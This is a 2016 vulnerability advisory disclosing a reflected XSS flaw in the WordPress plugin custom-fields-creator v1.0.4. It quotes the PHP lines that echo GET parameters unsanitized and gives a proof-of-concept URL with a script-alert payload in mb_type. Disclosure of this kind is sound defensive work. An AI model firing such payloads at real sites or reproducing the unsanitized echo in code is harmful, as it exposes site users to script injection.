Advisory #: 417
Title: Reflected XSS in wordpress plugin custom-fields-creator v1.0.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/custom-fields-creator
Downloads: 12490
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: custom-fields-creator
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./custom-fields-creator/wordpress-creation-kit-api/wordpress-creation-kit.php: 840: $(this).append('<input type="hidden" name="mb_type" value="<?php echo $_GET['mb_type']; ?>" />'); 841: $(this).append('<input type="hidden" name="mb_info_div" value="<?php echo $_GET['mb_info_div']; ?>" />'); The variable mb_type appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./custom-fields-creator/wordpress-creation-kit-api/wordpress-creation-kit.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/custom-fields-creator/wordpress-creation-kit-api/wordpress-creation-kit.php?mb_type="><script>alert(1);</script><"